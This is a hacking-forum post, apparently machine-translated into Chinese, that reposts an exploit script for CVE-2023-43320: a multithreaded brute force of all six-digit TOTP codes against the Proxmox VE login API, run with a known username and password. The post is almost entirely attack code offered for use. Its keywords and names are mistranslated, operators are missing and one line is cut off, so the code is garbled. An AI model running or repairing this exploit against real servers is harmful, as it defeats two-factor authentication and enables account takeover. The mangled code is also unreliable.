H

proxmox ve -totp蛮力

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: proxmox ve totp brute武力
#日期: 09/23/2023
#利用作者: Cory Cline,Gabe Rust
#供应商homepage: https://www.proxmox.com/en/
#软件link: http://download.proxmox.com/iso/
#版本: 5.4-7.4-1
#测试在: Debian
#CVE : CVE-2023-43320
进口时间
导入请求
导入Urllib.Parse
进口JSON
导入操作系统
导入urllib3
urllib3.disable_warnings()
线程=25
####################################
密码='这里已知密码'
用户名='此处已知的用户名'
target_url='https://host:port'
#########################
ticket=''
ticket_username=''
csrfpreventiontoken=''
ticket_data={}
auto_refresh_time=20#在几分钟内- 到期前30分钟
last_refresh_time=0
tokens=[];
对于范围(0,1000000):
tokens.append(str(num).zfill(6))
def refresh_ticket(target_url,用户名,密码):
全球CSRFPREVENTIONTOKEN
Global Ticket_username
Global Ticket_data
refresh_ticket_url=target_url +'/api2/extjs/access/ticket'
refresh_ticket_cookies={}
refresh_ticket_headers={}
refresh_ticket_data={'username':用户名,'password':密码,'realm':'pve','new-format':'1'}
ticket_data_raw=urllib.parse.unquote(requests.post(refresh_ticket_url,headers,headers=refresh_ticket_headers,cookies=refresh_ticket_cookies,data=refresh_ticket_data,
ticket_data=json.loads(ticket_data_raw)
csrfpreventiontoken=ticket_data ['data'] ['csrfpreventiontoken']
ticket_username=ticket_data ['data'] ['用户名']
DEF攻击(令牌):
全局last_refresh_time
全局auto_refresh_time
全局target_url
全球用户名
全局密码
Global Ticket_username
Global Ticket_data
if(int(time.time())(last_refresh_time +(auto_refresh_time * 60))):
refresh_ticket(target_url,用户名,密码)
last_refresh_time=int(time.time())
url=target_url +'/api2/extjs/access/ticket'
cookies={}
标头={'csrfPreventionToken': csrfpreventiontoken}
stage_1_ticket=str(json.dumps(ticket_data ['data'] ['ticket']))[1:-1]
stage_2_ticket=stage_1_ticket.replace('\\'totp \\':','\'totp \'%3a')
data={'username': ticket_username,'tfa-challenge': stage_2_ticket,'password':':'totp:' + str(token)}
响应=requests.post(url,headers=标题,cookies=cookie,data=data,verify=false)
if(len(wendesp.text)350):
打印(响应。文本)
OS.__EXIT(1)
而(1):
refresh_ticket(target_url,用户名,密码)
last_refresh_time=int(time.time())
使用conturrent.futures.threadpoolexecutor(max_workers=threads)作为executor:
res=[executor.submit(攻击,令牌)用于令牌中的令牌]
同意
 
后退
顶部